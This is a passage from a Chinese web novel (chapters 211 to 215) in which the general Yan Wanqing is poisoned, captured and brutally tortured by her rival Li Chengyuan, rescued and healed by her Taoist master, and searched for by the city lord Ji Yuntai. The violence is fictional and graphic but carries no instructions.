纪云台看着他似乎有话要说,终于舍得放下自己手中的水杯,看着管家说道:“你想说什么直接说吧。” “那老奴可就不客气了,主子可莫要跟老奴秋后算账啊。”管家上前走了两步,弯腰站在了纪云台的身边说道。 “主人这么多年从未对哪个女子如此上心,这几日总是张罗着城里的新奇玩意儿往燕帅的院子里送,眼见着那院子里都要堆成山了……”管家越说心里越忐忑:“主人出来的时候,老夫人可是特意叮嘱老奴了,往后若是主子有了属意的女子,老奴要传信回去的。” 纪云台摇了摇头:“……不用。” “为何?主人分明是属意那燕帅的。”管家大吃一惊。 纪云台叹了一口气:“她是京城里数一数二的大美人,又出身在镇国府上,还是嫡系大小姐,我这样的人,怎么配的上她……” 纪云台的目光落在了自己的双腿上,第一次因为自己的双腿残疾而感到自卑。 那般皎洁如明月的女子。 让他生平第一次自惭形秽。 管家叹了一口气:“主人若是答应回去,老夫人是一定不会袖手旁观的,这双腿还有机会治好,主人若是真的喜欢,届时治好了腿,再由老夫人出面说媒,那燕帅咱们也是配得上的呀。” 纪云台见管家说的头头是道,目光幽幽,薄唇轻启:“不只是这个原因。” “那……”管家不理解了,这最大的原因不就是因为双腿残疾么?主人要相貌有相貌,要家室有家室,要计谋有计谋,那燕晚清再是如何优秀,他们家主人也是配得上的。 纪云台重重的叹了一口气:“她有婚约了,陛下赐婚。” “啊?!”管家愣了一下,随即眼神阴狠了写,比了个手势:“倘若主人真的欢喜,那要不要老奴——” 手势朝下狠狠落去。 纪云台唇角抽了一下:“你还挺心狠手辣,那燕帅的婚约对象是北疆小侯爷,对他下手,你有几个脑袋够砍的。” 管家这下为难了:“可是主人这棵铁树三十多年了第一次开花,老奴先前还以为主人喜欢男……” 后面的话在纪云台的眼神下噤声了。 “再说吧,这仗也不是一天两天就能打结束的。” 纪云台抬抬手让管家出去,目光幽深。 窗外的月光透过窗柩落在床榻上。 纪云台伸出手接住了月光…… 另一边,燕晚清坐在屋顶上,眺望遥远的京都,水眸里面全都是深沉。 按照她的部署,眼下京都已经开始乱了。 就看张岚依能不能够抓住机会了。 正想着,突然墙外传来淅淅索索的声音,她起身看了一眼,眉头皱了起来。 是个女子,带着白色的围帽,但是身形很熟悉,分明是之前幸福村的格桑。 光明教的圣女,大晚上不睡觉,在城主府外干什么? 燕晚清屏住呼吸,脚尖轻点踩上了墙头,身形灵活的跟在了月色下狂奔的格桑后面。 格桑是有一点武力在身上的,就是不多。 所以一路燕晚清跟的很轻松。 等到她终于在湖边停下来的时候,燕晚清也已经上了树梢。 格桑张望着周围,似乎在等着人。 燕晚清打了个哈欠,擦着眼角的泪水,耐着性子陪她一起等。 终于等来了一辆马车。 格桑赶紧上了马车。 距离有点远,远处还能传来街市上面的声音,饶是燕晚清这样惊人的听力,也听不到里面究竟在说些什么。 可是不知道马车上是何人的时候,燕晚清不能轻举妄动。 格桑上马车的时候极其尊敬,说明车上的人身份地位都在她之上。 她已经是圣女了,能让她都尊敬的人,在光明教又该是何等地位呢? 等了好一会儿,燕晚清终于看见车帘晃动,格桑从马车上下来了。 格桑下来之后便朝着相反的方向离开,燕晚清没有动,因为马车没有离开。 倘若今日直接将马车上的人拿下,对于光明教来说,应该是个很大的打击。 这个念头从她的脑海中闪了一下。 她双手攥成拳,若是对方极其难缠,那就直接杀了也不碍事,光明教的人,人人得而诛之。 杀气刹那闪过。 下一瞬间,马车上的车帘迅速被掀开。 燕晚清瞳孔骤缩,看到了车上的人朝着自己隐藏的树梢上面看了过来。 那张脸! 燕晚清用手捂住自己的唇,逼着自己不喊出声。 泪水,骤然从眼眶中溢出来。 是大哥! 马车上的人是大哥! 燕晚清不再犹豫,直接朝着马车飞驰而去。 第二百一十一章 折磨,不死不休 燕晚清飞过去的时候,速度很快。 马车内的人,速度更快。 等到燕晚清落地的时候,肩膀已经扎上了一枚暗器。 她低头看了看那枚雪花状暗器,上面寒光闪闪,眼神中闪过了不懂的神色。 此时那辆马车动了。 没有车夫,但是那匹白色的高头大马就像是有了灵性一般,自己开始超前驱使。 燕晚清抬脚就要追上去。 “嗖嗖!” 回应她的是两枚暗器,燕晚清闪身躲开,暗器狠狠的没入地面。 兄长特有的清冷语调从逐渐远行的马车内传来。 “再追过来,下次射的就是你的头。” 马车疾驰而去。 燕晚清提起内力,却是眼前一阵眩晕,暗器上面涂了毒。 趁着意识最后消散瞬间,燕晚清从怀中掏出了临走之前小六塞给她的药丸。 据说能够解百毒,不到轻易的时候不能使用。 燕晚清服下了药丸,身子一倒,歪在了地上。 没过多久。 一个意料之外的人站在了燕晚清的身边。 她伸出脚尖踢了踢地上的燕晚清,见她没有动静之后,唇角露出了一抹阴狠的笑容。 “绑起来,带走。” 燕晚清先是听见了一串磨刀的声音,紧接着身上就被猛地泼了一身的水。 她豁然睁开双眼,对上了还端着盆的小丫鬟。 冰冷的目光倏地让小丫鬟吓得尖叫一声,连人带盆一起摔倒在了地上。 “没用的东西。”傲慢无礼的女声缓缓响起。 燕晚清看见李呈媛端坐在椅子上,翘着二郎腿,手里拿着一串葡萄,此刻正将葡萄籽吐在了地上。 “哟,你可终于是醒了。”李呈媛冷笑一声,放下二郎腿朝着燕晚清走了过来。 她一边走一边往嘴里塞着葡萄。 那葡萄很小,很青,一看就很酸,但是李呈媛却吃的精精有味。 见燕晚清盯着自己,李呈媛笑了笑:“最近就爱吃些酸的,没办法。” 燕晚清冷哼一声,移开了视线。 对于这种炫耀,燕晚清从心底表示不屑。 她被五花八绑的捆在屋内的柱子上,从不离身的长剑,此刻也不知道丢到哪里去了。 “李呈媛,谁给你的胆子,敢绑我?”她运了一下内力,喉间却猛地泛起一股子血腥气,肩膀上的伤口更是钻心一般的疼痛。 晕眩的感觉已经消失了,说明解药正在慢慢发挥作用。 只是现在内力还没有发挥作用,在此之前,她必须要拖延时间。 李呈媛见燕晚清面色骤然苍白,脸上的表情更加得意了。 “你很疼?”说着,她伸出手猛地拔出了燕晚清肩膀上的暗器。 锋利的暗器剥离血肉迸溅出来的血珠,飞溅在两个人脸上。 李呈媛将手里的葡萄随手丢在了地上,用手背擦了擦脸上的鲜血,随即恼怒反手给了燕晚清一巴掌。 “谁准的脏水溅到本县主的!” 燕晚清被这一巴掌打的唇角破了,口腔内也有了血腥气。 她用舌尖顶了顶腮帮子,眼里的愠怒被强制压下。 黑色的瞳孔重新落在了李呈媛身上,她笑:“你有病就赶紧去治治。” 自己拔出来的暗器,还怪别人的血液溅在她脸上。 “啪——”又是一巴掌。 李呈媛打的自己的掌心发麻,可是脸上都是畅快的笑意。 “竟然还敢用这种语气跟本县主说话,燕晚清你是真的不知死活。”她想着上次被燕晚清侮辱的情景,气不打一处来,恨不得将自己脑海中所有的酷刑都给眼前这个该死的女人用一遍。 不过,不急,今夜时间还很长。 “没吃饭?”第二巴掌之后,燕晚清伸出舌尖舔了一下唇角的血迹,挑衅的目光继续落在她的身上。 李呈媛又要动手,却好似突然想到了什么,慢慢的放下了手。 “燕晚清你又在动什么歪脑筋?”李呈媛眯着双眼上下打量着面前被捆在柱子上的女子,面色苍白如纸,唇角血迹红的近妖,双眼无波的看着自己,说出的话语却在不断的激怒自己。 不对。 李呈媛轻笑一声:“你在拖延时间。” 燕晚清没说话。 李呈媛绕着柱子转了一圈。 “有什么意义呢?你就当我如此蠢笨,什么都没有准备,就将你绑过来?”她冷笑:“你内力深厚,这暗器说上的毒很快就会被你逼出来,可若是我在此之前挑断你的手脚筋呢?” “李呈媛你大可试试看。”燕晚清直视她,语气很是平静:“挑断我的手脚筋之后,你自己会是个什么下场。” “你想杀我也不是一天两天了,你以为我还会害怕你的威胁?”李呈媛笑出声:“这叫先下手为强,后下手遭殃,你死了,我和七皇子殿下就没有后顾之忧了,你们燕家的一切也会理所当然归为殿下所有,为殿下的往后铺路。” 虽然镇国府现在没落了,但是瘦死的骆驼比马大。 更何况有燕晚清这样逆天的存在,镇国府一定还有很多隐形的财富。 毕竟原着里面,为了支持七皇子萧鸿深上位,燕晚清可是不断拿出银两出来去打点的。 “现在已经晚上了,你做什么白日梦?”燕晚清看着李呈媛那副恶毒的模样,直接开口讽刺道:“我还没死呢,就开始想要吞我的家产了?可是怎么办呢,京都人那么多,你和萧鸿深得排排队。” “牙尖嘴利,都到了这个时候,燕晚清你还逞口舌之争。”李呈媛朝着小丫鬟伸手,丫鬟赶紧哆嗦着从怀中掏出一把匕首。 匕首被李呈媛拔出来,在烛光之下闪烁着森冷的光芒。 她毫不留情的拿着匕首尖对着燕晚清的刚刚的伤口便用力刺了进去。 血水不断从伤口中溢出,彻底浸润湿透了她的黑袍。 只是衣服的颜色是黑色,将血色全部吸收容纳,逐渐竟然饱和,血水顺着衣摆往下滴落…… 李呈媛却还嫌不够,用力将匕首在她的肩胛骨处转了转。 “叫啊,疼就叫出来啊。”李呈媛双眼都是兴奋的红色。 此处地处偏僻,燕晚清晕倒在大街上,等同于是自己送上门。 这次新仇旧恨,她要一起报了。 只要杀了燕晚清,这个世界就不再有人会是她的绊脚石了。 迟早是要死的人,她就不明白,为什么命这么大,到现在都不下线! 李呈媛这样想着,拔出匕首,又狠狠的戳进了燕晚清的腰腹中。 燕晚清疼的忍不住哼了一声。 听到了声音的李呈媛更加兴奋了。 她拔出来,再次狠狠的戳了进去。 燕晚清面色骤然一红,血色又像洪水一样猛地退下。 “李呈媛你最好现在就弄死我,不然——”燕晚清咬紧牙关,口腔内都是血腥气,双眼死死的盯着面前这个恶毒的女人,唇间吐出冰冷的话语:“碧落黄泉,我一定会让你死无葬身之地!” “除了放狠话,你还会点什么?”李呈媛被她的眼神吓到,但是依旧嘴硬的说道:“是你落在我的手里,你以为你还有活路找我复仇吗?” 李呈媛缓缓蹲下身,挑衅的看了一眼燕晚清。 手中的匕首毫不犹豫的直接挑断了她的左边脚筋! 第二百一十二章 孩子,你不要怪母亲 活生生被挑断脚筋的痛苦,让燕晚清瞳孔涣散开来。 李呈媛见她痛苦的神色,更加兴奋起来。 “这就受不了了?咱们名镇一方的安平郡主的极限就在这里?”李呈媛呢喃开口,沾染猩红血水的匕首,在燕晚清的身上缓缓游移,然后毫不犹豫的绕到了燕晚清的身后,匕首骤下,右边的脚筋也被挑断! 燕晚清感受在极度的痛苦之下,感受到失去了双腿的控制。 饶是这样,她也没有声嘶力竭的哀嚎。 这让想要看到燕晚清痛苦求饶的李呈媛有些恼羞成怒。 为了加大这种痛苦,让燕晚清求自己,她不断的用匕首在她的身上划出新的伤口。 浓稠的血水在地上逐渐积聚……人究竟能够有多少血呢? 她是不是要死了? 燕晚清感觉到自己的浑身冰冷。 谁能想到她竟然会栽在李呈媛这种人的手里。 昏迷之前,燕晚清脑海中闪过马车之上大哥的脸。 那个人……一定不是兄长。 兄长那么疼她,怎么会舍得用暗器伤害她呢。 燕晚清眼眶湿润,一滴泪水从面颊之上缓缓滴落,很快被血水融合。 好疼啊……哥哥,晚清好疼。 见燕晚清昏过去了,李呈媛冲着丫鬟说道:“去准备一盆盐水,泼醒她。” 此刻小丫鬟已经被刚刚李呈媛的手段吓得浑身都是冷汗,见她冲着自己说话,小丫鬟赶紧点头,二话不说去准备盐水了。 她害怕自己不听话,李呈媛会杀了自己。 这一番折腾,李呈媛出了不少汗,她玩弄着手里的匕首,绕着柱子继续打量着燕晚清,她的身上已经没一处是完好的。 最终,李呈媛的目光落在了燕晚清燕姿丽质的容颜上,眼里都是妒忌。 这个女人的脸…… 匕首忍不住就靠了上去。 看着真是碍眼。 “县主,盐水来了。” 小丫鬟端着盆战战兢兢的站在旁边。 李呈媛收回了匕首,但是锋利的尖端还是在燕晚清细嫩的脸上留下了一道血痕。 小丫鬟低着头不敢去看柱子上的人。 逼着双眼,直接将盆里面的盐水朝着面前人泼了上去。 就是这一刹那! 原本昏迷不醒的人骤然发力,竟然突然用膝盖顶上了丫鬟的小腹。 小丫鬟被顶的,晚饭都要到了喉间,那一盆的盐水从她的手中脱力坠落。 就是现在! 燕晚清将自己身上刚刚积攒的内力不遗余力的爆发,猛地挣脱开来,用头狠狠的撞向了妄图超后退的李呈媛! 看着李呈媛瞳孔中倒映着自己狰狞的面容。 燕晚清扯了扯唇角,都是快意的笑意。 “不要过来——”李呈媛眼睁睁的看着挣脱开绳子的燕晚清朝着自己毫不犹豫的压了过来,她想要逃,却被地上的盐水滑了一下,率先摔倒在了地上,紧接着身上是小丫鬟,再然后是燕晚清。 李呈媛成了最下面的一个。 “啊——”李呈媛尖叫出声,尖锐的指甲掐在小丫鬟的身上:“我的肚子,好疼……” 小丫鬟吓得魂都要丢了,顾不得自己疼痛,猛地把身上的燕晚清推到了边上。 她爬起来去扶李呈媛。 此时李呈媛用手捂着肚子,大片的血水从她的身下弥漫开来。 “我的孩子,孩子……”李呈媛痛苦的呢喃道。 “县主!奴婢现在就去找大夫!”小丫鬟说着就要跑出去,被还有一丝神志的李呈媛给拽住。 “不许去!”她咬紧牙关,目光落在了旁边半死不活的燕晚清身上,倘若被人发现燕晚清在这里,她就完了。 想到这里,她顾不得自己的肚子,朝着小丫鬟伸手:“扶我起来。” 小丫鬟此时已经六神无主,李呈媛说什么她就做什么。 又费了好大的劲起身,小丫鬟扶着李呈媛朝着外面走去。 都到门边上了。 李呈媛却突然停了下来。 “县主……”小丫鬟满脸惊慌的喊道。 李呈媛眼里都是狠毒,她看着地上的燕晚清对着小丫鬟说道:“你去,杀了她。” 小丫鬟摇头。 “奴,奴婢不敢。” 李呈媛将手里满是鲜血的匕首塞进小丫鬟的手里。 那冰冷的匕首入手的瞬间,小丫鬟吓得哇哇大哭,被李呈媛打了一巴掌。 她掐住小丫鬟的脖子,用力说道:“你不去,那你就死在这里,去还是不去?!” “去!”小丫鬟赶紧点头:“奴婢去!” 见小丫鬟终于同意,李呈媛松了手。 她依靠在门上,看着小丫鬟按着匕首逼近地上的燕晚清。 燕晚清已经失去了意识。 小丫鬟满脸都是泪水,嘴唇抖动。 心里念着。 燕帅,冤有头债有主,你死了可千万不要来找我啊。 她想着,闭上了双眼高举匕首狠狠的戳在了燕晚清的身上,温热的鲜血溅在她的身上,丫鬟猛地爬起来跑了门口,扶着李呈媛就推开了门,主仆二人头也不回的朝着外面走去。 晚上的风有些干冷。 小丫鬟身上都是冷汗。 “你叫什么名字?”李呈媛强忍着身上的疼痛,目光闪烁着不清楚的光芒。 “回,回禀县主,奴婢阿瑶。” “阿瑶。”李呈媛突然喊道。 阿瑶赶紧应了一声,心里又开始七上八下。 “往后你跟我就是一根绳子上的蚂蚱,待会儿回到了城主府里,你知道自己该做什么吗?” 阿瑶心一狠,牙一咬:“县主让奴婢往东,奴婢绝不往西,只要县主吩咐,奴婢就一定替县主办到,就像刚才一样!” 看着阿瑶小脸上的表情,李呈媛终于勾了勾唇。 此时她已经明显感受到肚子里的小生命正在消失。 孩子啊,你可不要怪母亲。 好歹是母子一场,若是你的离开,能够给我带来更多的荣华富贵,那么也是值当的了! 主仆二人头也不回的朝着夜色中而去。 此时静谧脏乱的小破房子里。 发白的月光从门口斜射在燕晚清的面容上,冰冷又无情。 不知道过了多久,从门口走进来一道身影,穿着一身道袍。 近乎妖孽的面容上是死一般的平静。 他居高临下的看了地上的燕晚清很久很久……终于喟叹一声。 “罢了,师徒一场,这是为师欠你的。” 第二百一十三章 燕晚清失踪,野猫冲撞小产 燕晚清失踪了。 她没有像往常一样去军营训练士兵,也没有去找纪云台讨论光明教的事情。 最先发现她失踪的,还是她院子里踱步丫鬟。 每日燕晚清都要起早晨练,但是今日没有。 起初所有人都觉得燕晚清是有事先出去了,但是只有这个丫鬟觉得不是。 不安的感觉,让她站在大门口等燕晚清回来。 从早晨等到了傍晚,又等到了天黑,等到第三日的清晨,丫鬟满脸是泪水的敲开了管家的门。 “不好了,燕帅失踪了!” 关乎到燕晚清的事情,管家不敢马虎,赶紧带着丫鬟往纪云台的院子里过去。 纪云台手里把玩着茶杯,表情落寞的坐在轮椅上。 听到声音,下意识的朝着院门口看去,结果看到是管家,眼神里有着自己都说不清楚的落寞。 管家领着丫鬟一路小跑到了纪云台的面前。 “快和主人说。”管家一把年纪,跑的上气不接下气。 纪云台皱眉,手捏紧了杯子。 “发生了什么事情?” 丫鬟原本在路上整理好的话语,到了这里,看见纪云台的瞬间崩的什么都不剩。 她往地上一跪。 “城主大人不好了,燕帅失踪了,前日晚上就没有在府中住宿,昨日更是没有晨练,她的床榻都是之前收拾好的模样,已经两夜一天没有回来了。” 纪云台手里的杯子,突然就坠落在了地上,碎成了好几个碎片。 他下意识伸出手去捡起来,却被尖锐的碎片刺伤了手指,鲜血顺着指尖涌了出来。 管家担忧的上前:“主人!” 纪云台抬手止住了他上前的脚步。 “派人去找,不能大张旗鼓,毕竟是主帅失踪,这件事情只能暗中寻找。”纪云台冷静的吩咐着,然后看向了丫鬟:“你继续回院子里等,倘若燕帅回来了,第一时间通知过来。” “奴婢知道了。”丫鬟和管家领命出去了。 纪云台坐在椅子上,眼中都是冰寒。 燕晚清不是那么不知分寸的人。 更何况之前已经和自己说好了会住在府中。 她那般有诚信的人,又怎么会食言呢。 难道是被什么事情耽搁住的脚步? 可是什么事情会比得上军中要事重要呢? 纪云台脑海中闪过不安的想法。 如果是被耽搁了,按照燕晚清的性子,一定会派人回来报个平安,不会像现在这样音讯全无。 除非是真的遭遇了不测! 想到这里,纪云台打了个响指。 身后突然出现一个黑衣人。 “去给军中的常千户送个消息,让他务必立刻动身前来。” “诺。” 纪云台摩挲着指尖的伤口,有轻微的刺疼。 “最近府内有没有发生过什么?” 黑衣人便将最近府中发生的大小事全部告诉了纪云台。 “李呈媛被一只猫冲撞小产了?”听到李呈媛的消息,纪云台皱眉头:“为何这件事没有告知我。” 府中大小事情,都应该告诉他才对。 尤其是李呈媛这个县主小产! 这等大事都不告诉他,简直是岂有此理。 黑衣人抿了抿唇,想说你一睡就睡了一天一夜,今天才出门,跟谁禀报? “下去领罚。” 黑衣人闷闷的说了一声:“诺。”消失在了纪云台的身后。 院子中的他推动着轮椅朝着外面而去。 这两日刚好七皇子外出查看地形了。 此时李呈媛小产了,这件事情搞不好会连累整个城主府。 只是这件事情怎么想都有点不对劲。 偏偏就在燕晚清失踪的这两日。 她李呈媛小产了。 一路过去,纪云台看见了不少丫鬟端着东西往那瑶池县主的院子里送过去,都是大补的东西。 快要到院子的时候,他看见自己派给李呈媛的丫鬟,正在院子里清点这些东西。 见他过来了,丫鬟脸上闪过了一丝慌乱。 “见过城主大人。” 有鬼! 这是纪云台的第一个想法。 “瑶池县主的事情为何不第一时间禀报本城主?”纪云台冷着脸问道。 丫鬟从未见过城主大人冷冰冰的对着谁,第一次见他这样,不由得有些被吓到,声音哽咽道:“回禀城主大人,是,是因为……” “是因为本县主不想让太多的人知道这件事情。”门内传来了李呈媛虚弱的声音。 纪云台将轮椅对着门口,看着紧闭的大门,他半眯着双眸:“事关皇嗣,县主这样瞒着也不是个事情吧?若是七皇子回来,可是要问责于微臣的。” “这件事情与城主可脱不了干系,本县主是在府内被一只野猫给冲撞了,这才丢了皇嗣,怎么?”门内的人冷笑一声,施压道:“城主大人这是想赖账吗?” “到底是野猫还是其他,还有待调查,只是县主一声不吭的就没了皇嗣,这件事情还是等到七皇子殿下回来之后,县主亲自向殿下交代吧。”纪云台不客气的说道。 李呈媛被气得不轻。 这个纪云台还真是目中无人,从第一天都没有将自己放在眼里。 “这件事情就轮不到你担心了,你还是好好想想要怎么承受殿下的怒火吧!” 纪云台丝毫不怯。 “微臣自然会向殿下交代,只是微臣心中有疑惑,不知道瑶池县主这几日可有见过燕帅?” 屋内的李呈媛心里咯噔一声。 燕晚清的事情迟早是要被发现的。 这两日她已经从杀死燕晚清的快感中走出来,开始陷入了后续的恐慌之中。 燕晚清是西征大帅,杀死将帅那可是死罪,诛九族的。 这件事情有点棘手。 一定不能让人发现,燕晚清的死和她有关。 想到这里,李呈媛清了清嗓子,虚弱又带着带着一丝愠怒的声音传了出去:“她燕晚清跟本县主什么关系,你纪云台不清楚吗?用她燕晚清来压本县主,你好大的胆子!” “纪云台!本县主是奈何不了她,但是你,本县主还是能够拿捏的!” 说着,李呈媛猛地咳嗽起来。 小丫鬟赶紧推开门朝里面走去。 纪云台坐在轮椅上,目光里满是探究和沉思。 听着屋内不断传来的谩骂声。 纪云台抿着唇转着轮椅离开了。 这件事情谁看都有蹊跷。 偏偏李呈媛表现得极其正常。 暗卫还说前几日看见格桑在门口转来转去,燕晚清的失踪会和她有关吗? …… 瀑布从天而下,发出巨大的水流声,掀起来的水汽在湿润着空气。 清冷的男子端坐在岩石之上,宛若一座雕像,他的眉心有一抹鲜红的朱砂痣,熠熠生辉,让人移不开眼睛。 此刻他的面前,悬空平躺着一个人。 正是失踪了两日的燕晚清。 她紧闭双眼,面容祥和。 宋化虚收回双手放在了双膝之上,缓缓睁开双眼,眼里都是血丝。 “你也该醒过来了。” 第二百一十四章 死而复生,怨不得别人 燕晚清感觉自己在昏暗的一间屋子里,四下伸手不见五指。 她在小屋子里横冲直撞,就是走不出去。 “阿姐……” 依稀能够听见一道微弱的声音。 燕晚清仔细去听。 “谁在喊我?” “阿姐……救我。”声音再次响起。 燕晚清循着声音趴在了墙壁上面,墙壁粗糙,上面还有倒刺,刺的她指尖传来尖锐的疼痛。 “是谁?”燕晚清顾不得疼痛,胸腔压抑的她几乎要晕厥过去,太疼了,心口的位置…… “小五小六……小七?是你们吗?” “……阿姐,好疼,救救我。” 四面八方传来的哭声,将燕晚清包裹其中,她捂住自己的胸口,微弱的光线中,她看见自己的姊妹们浑身是血的倒在了地上,有一个身着华服的女子,手里拿着长剑正不断的逼近她们。 “住手!有什么冲我来!” 燕晚清朝着那边伸出手,极致的黑暗再度如潮水般朝她砸过来,紧接着便是天地大白! “醒了。”冰冷的没有任何温度的声音传过来。 溪流水花的声音猛地穿过耳膜,此刻燕晚清睁开双眼,已经完全清醒过来了。 她循着说话人的声音看过去。 是那一夜在避暑山庄看见的道士。 或者说,是她的师父,宋化虚。 “乖徒儿,你这般看着为师做什么。” 宋化虚的银发已经被瀑布溅起来的水花打了个半湿,斜眼看过来的时候,仿佛看透了她的半生。 “……师父。”燕晚清刚开口,就感觉喉咙生疼。 宋化虚收回了目光,淡淡的嗯了一声。 燕晚清发现自己原本被挑断的手脚筋,此刻已经悉数被接好。 她皱了皱眉头。 知道这是宋化虚帮她治疗的。 只是他为何…… 燕晚清有点想不明白。 既然宋化虚选择了萧鸿深,前世又是将镇国府推向灭亡的幕后黑手之一,眼下又为何要救自己? “药在旁边,你自己去熬吧。” 宋化虚丢下这句话,起身离开了。 燕晚清看到他刚刚的位置上,留下了一堆草药。 四下荒无人烟,燕晚清一瘸一拐的绕着溪流走了好久,愣是一户人家都没有发现。 她看着掌心里的草药,二话没说,直接塞进了口中。 浓烈的苦味还有其他稀奇古怪的味道,让她一度想要吐出来。 但是燕晚清还是逼着自己咽了下去。 宋化虚救了自己,那么就不会在草药上做手脚。 燕晚清把他的搭救归在了师徒一场。 就着溪水,她漱了漱口,将恶心的感觉压了下去。 然后原地团座开始运功疗伤。 虽然宋化虚给她接好了手脚筋脉,但是其他身上被李呈媛刺伤的地方,只是简单的撒了点金疮药。 如果此刻不依靠内力来催化体内的草药尽快发挥功效,等到夜色降临,她活不过今晚。 “师父啊师父,救人救到底,送佛送到西……”燕晚清无奈的撇嘴道。 救了她,又把她丢下,这是何道理? 草药在微弱的内力之下缓慢的发挥着作用。 燕晚清不再说好,紧闭双眼,额头上都是密密的冷汗。 她不知道的是,在不远处的树冠之上,那个道袍男子,正居高临下的看着她。 目光平静,第一次,他淡漠的如同看破了众生的眼神里,出现了波纹。 这个徒弟是他卜卦算来的。 也一如卦象上所说,此女非同小可,有着撼动天地的能力。 她的涨势直到及笄那年便一发不可收拾。 也不知道皇帝从哪里收到的消息,那天找到了他。 “镇国公与贫道情同手足,如此之事,恕贫道无能为力。”他拒绝了皇帝的请求。 当晚,他的徒儿燕晚清便在回京的郊外树林里遭到了暗杀。 铺天盖地的杀手,不要命的想要杀了她。 等到她回到京都镇国府的时候,身边只剩下了一个暗卫。 皇帝又来找了他第二次,求他出手。 “道长依然可以像上次那样袖手旁观,但是朕是绝对不会坐以待毙的,大渭是朕的,宁可错杀一千,也绝对不会放过一个!” 宋化虚从皇帝的眼神中看到了一个帝王的冷血与无情。 他甚至都没有顾及到镇国公,这个半生戎马替他守卫江山的忠臣。 “贫道可以替陛下走一趟,但是这件事情之后,希望陛下能够高抬贵手,放贫道徒儿一条性命。” “她若是像寻常女子那般嫁人生子,朕会给她应有的荣华富贵和无上权力。” 那天晚上,他去了一趟镇国府。 和自己的兄弟燕国忠促膝长谈之后,掏出了千机…… 此后,燕晚清便被封为了安平郡主,也一如寻常女子般在深闺之中养了四年之久。 然后今年年初,皇帝再一次找到了他。 宋化虚陷入了回忆之中。 眼里的沉痛一闪而过。 此时已经到了深夜。 溪水边的女子依旧端坐在原地,露水将她身上的衣衫打湿,原本干涸的血腥气,因而逐渐弥漫开来,吸引了黑暗中有些躁动的野兽。 眼看着一只黑熊已经逼近,宋化虚刚要出手,就看见原本静坐的燕晚清突然动了。 她形同鬼魅一般,从发髻上拔下了簪子,眼睛不眨的刺进了黑熊的眼睛里面,然后趁着黑熊疼痛暴怒到瞬间,窜上了旁边的树梢。 疼痛难忍的黑熊在树林里面横冲直撞,激起一串串受惊的黑鸦。 燕晚清长呼出一口气。 好险。 倘若刚刚她没有结束运功,此刻怕是已经成为了黑熊腹中之物了。 好在是自己反应过来了。 燕晚清捂着因为动作撕裂开始流血的伤口,无奈的勾了勾唇。 今日落得这般田地,怨不得别人。 倘若在白村的时候,她便直接将李呈媛这个祸害给杀了,不去顾及什么皇权,也不管什么狗屁皇嗣,压根不会再有后面的这些事情。 自己到底是怎么了? 她依靠着树冠,开始回忆自己的少年时期。 心狠手辣,说一不二。 不懂为何自己年纪大了,反倒是心肠变软了。 还是顾及在乎的东西太多,到哪里都会被束手束脚? 倘若父兄还活着,一定有人可以给她答案,可惜…… 燕晚清又想到了马车上的青年人。 分明是她的兄长啊。 只是为何不认她呢。 “嗷嗷——”树桩之下的黑瞎子还在哀嚎。 燕晚清却不管了,转身跳跃朝着远处灯火光亮的地方而去。 既然李呈媛没有杀得死她,那么现在就轮到她了! 第二百一十五章 逼交瑶池,稳定军心 “把瑶池县主交出来!” “交出来!” “再不交出来,别怪我们不客气了!” “不客气——” 城主府外的声音震耳欲聋。 萧鸿深铁青着一张脸坐在大厅内,目光阴冷的看向坐在轮椅上的男子。 “纪云台你好大的胆子!” 纪云台目光坚定,丝毫不退。 “事已至此,还望殿下能够以民为主,交出瑶池县主安抚军心,不然这件事情,将士们绝不会善罢甘休。” “你敢!眼下根本任何证据证明是瑶池动的手,纪云台常宽,你们想反?”萧鸿深猛地一拍桌子,低声呵斥道。 他不过是刚从外面回来,就被一众将士们给堵在了城门口。 倘若不是常宽亲自过来接,只怕是连门都进不去。 这下给他气得不轻。 为了一个区区燕晚清,竟然将他堵在了城门外。 这口气,就这么一路堵着,堵到了现在。 常千户见七皇子脸色不善,之前城主还因为瑶池县主的事情,被七皇子责罚。 只是眼下众将士们在西凉城里找了好几圈,地皮都要翻出来了,硬是没有半点消息。 为了不被倭寇的探子打探到,他们还故意说成是搜查盗贼。 结果刚刚,有人将燕晚清之前的佩剑给送了过来。 这下子,常宽彻底忍不了了。 他想到了之前瑶池县主和燕晚清的恩怨,于是找了城主商量,两人一拍即合,便来到了这里。 “是与不是,让县主出来说两句就行,只要县主说不是,那么我们立刻走人。”常千户梗着脖子,站在原地不肯退缩。 纪云台跟着说话:“我们也不是不明事理的人,只要殿下允了县主出来说个话,那么这件事情就有了结论,只是现在县主迟迟不肯现身,难道是做了亏心事不敢出面吗?” 萧鸿深一听这话,眼里都是杀意:“纪云台你不要忘记你的身份!眼下瑶池刚刚小产,还在坐月子,你让她出来见你们,岂不是强人所难?” 他萧鸿深的女人,是他们这群草莽,想见就能见的? 这要是传出去,他的脸往哪儿搁! 再说了,倘若燕晚清真的出事了。 那么这西征大帅的位置就是他萧鸿深的,相比去找到燕晚清,他更希望这个女人死在外面。 纪云台见萧鸿深的面色变了又变,放在轮椅上的手微微握成了拳头。 “隔着屏风呢?燕帅失踪这么大的事情,关乎到整个西凉城的安慰,倘若倭寇趁着这个机会进宫我们城池,成他们可不会在乎谁刚小产在坐月子!” 这话一说出来,旁边的常千户都跟着心惊胆战了。 一向冷静自持的城主大人竟然会对着七皇子殿下说出如此大逆不道的话。 这传出去,他有几个脑袋够砍得! 再说了,眼下七皇子是储君的有力竞争者,若是后面真的荣登皇位,按照他的小肚鸡肠,往后定不会容得下纪云台的。 常千户在旁边冷汗直流。 可是纪云台却目光灼灼盯着萧鸿深,丝毫不退让。 萧鸿深抿着薄唇,阴柔的面上都是冷戾:“纪云台,为了一个燕晚清,你要做到这个地步么!” “微臣是为了整个西凉城百姓,还望殿下喊县主出来问个话。”纪云台丝毫不退,语气已经称得上是强硬了。 萧鸿深冷笑一声:“你当本殿是被吓大的。” 他的身子超后完全靠去,皇家的威严一览无余。 “瑶池县主初来西凉城便直接杀了微臣府上的规矩,坏了西凉城数十年的风水,不知道殿下对于风水一说可有耳闻?”纪云台突然说道。 萧鸿深不知道他葫芦里卖的是什么药:“为了一个丫鬟,你还要瑶池县主偿命不成?” “是风水,七皇子殿下知道为何倭寇势如破竹攻下了周围不下五座城池,却偏偏总是止步于西凉城么?”纪云台眼神中有让人难以理解的神秘色彩。 这么一说,事情就开始有些玄乎了。 萧鸿深冷哼一声:“少弄这些鬼迷日眼的东西,今日本殿是绝对不会把瑶池交给你们的。” “殿下不信这些没关系,西凉城的百姓对此深信不疑。”纪云台说道。 萧鸿深是个聪明的人,不然也不会从一个婢女所出的落魄皇子,一步步的走到了人前。 